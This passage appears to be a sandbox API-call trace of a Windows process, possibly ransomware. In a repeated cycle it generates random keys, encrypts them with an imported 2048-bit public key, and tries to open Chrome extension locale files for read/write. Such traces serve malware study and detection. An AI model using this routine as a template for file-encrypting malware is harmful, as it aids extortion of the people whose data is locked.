(in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.429] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.431] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.431] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.431] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.431] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.433] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.435] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.435] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.435] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.435] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0236.438] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ceb8) returned 1 [0236.438] CryptGetKeyParam (in: hKey=0x659ceb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.438] CryptEncrypt (in: hKey=0x659ceb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8e80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.438] GetLastError () returned 0x0 [0236.438] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.438] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.440] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ccb8) returned 1 [0236.440] CryptGetKeyParam (in: hKey=0x659ccb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.440] CryptEncrypt (in: hKey=0x659ccb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8e90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.440] GetLastError () returned 0x0 [0236.440] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.440] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.441] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.443] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.445] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.445] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.445] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.445] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0236.447] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.449] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.449] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.449] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.449] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.451] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659cb38) returned 1 [0236.451] CryptGetKeyParam (in: hKey=0x659cb38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.451] CryptEncrypt (in: hKey=0x659cb38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8ea0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8ea0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.451] GetLastError () returned 0x0 [0236.451] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.451] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.453] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ccf8) returned 1 [0236.453] CryptGetKeyParam (in: hKey=0x659ccf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.453] CryptEncrypt (in: hKey=0x659ccf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8eb0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8eb0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.453] GetLastError () returned 0x0 [0236.453] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.454] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.455] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.457] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.459] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.459] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.459] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.459] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.462] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.463] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.463] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.463] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.464] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.466] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659cf78) returned 1 [0236.466] CryptGetKeyParam (in: hKey=0x659cf78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.466] CryptEncrypt (in: hKey=0x659cf78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8ec0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8ec0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.466] GetLastError () returned 0x0 [0236.466] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.466] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.468] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659cbb8) returned 1 [0236.468] CryptGetKeyParam (in: hKey=0x659cbb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.468] CryptEncrypt (in: hKey=0x659cbb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8ed0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8ed0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.468] GetLastError () returned 0x0 [0236.468] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.468] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.469] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.472] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.473] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.473] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.473] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.473] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.475] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.476] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.476] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.476] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.477] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.481] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ca78) returned 1 [0236.481] CryptGetKeyParam (in: hKey=0x659ca78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.481] CryptEncrypt (in: hKey=0x659ca78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8ee0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8ee0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.482] GetLastError () returned 0x0 [0236.482] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.482] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.484] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659cef8) returned 1 [0236.484] CryptGetKeyParam (in: hKey=0x659cef8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.484] CryptEncrypt (in: hKey=0x659cef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8ef0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8ef0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.484] GetLastError () returned 0x0 [0236.484] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.484] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.485] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0236.487] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.489] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.489] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.489] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.489] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.491] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.492] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.492] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.493] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.493] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0236.495] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659cb78) returned 1 [0236.495] CryptGetKeyParam (in: hKey=0x659cb78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.495] CryptEncrypt (in: hKey=0x659cb78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8f00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8f00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.495] GetLastError () returned 0x0 [0236.495] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.495] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.497] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c878) returned 1 [0236.497] CryptGetKeyParam (in: hKey=0x659c878, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.497] CryptEncrypt (in: hKey=0x659c878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8f10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8f10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.497] GetLastError () returned 0x0 [0236.498] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.498] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.498] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.501] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.502] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.502] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.502] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.502] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.504] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.505] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.506] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.506] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.506] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.509] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659cd38) returned 1 [0236.509] CryptGetKeyParam (in: hKey=0x659cd38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.509] CryptEncrypt (in: hKey=0x659cd38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8f20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8f20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.509] GetLastError () returned 0x0 [0236.509] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.509] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.511] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659caf8) returned 1 [0236.511] CryptGetKeyParam (in: hKey=0x659caf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.511] CryptEncrypt (in: hKey=0x659caf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8f30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8f30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.511] GetLastError () returned 0x0 [0236.511] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.511] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.512] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.515] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.516] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.516] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.516] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.516] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.518] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.520] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.520] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.520] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.520] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.523] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c8f8) returned 1 [0236.523] CryptGetKeyParam (in: hKey=0x659c8f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.523] CryptEncrypt (in: hKey=0x659c8f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8f40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8f40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.523] GetLastError () returned 0x0 [0236.523] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.523] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.525] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ca38) returned 1 [0236.525] CryptGetKeyParam (in: hKey=0x659ca38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.525] CryptEncrypt (in: hKey=0x659ca38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8f50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8f50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.526] GetLastError () returned 0x0 [0236.526] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.526] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.526] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0236.529] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.530] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.530] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.530] CryptReleaseContext (hProv=0x5c4980, 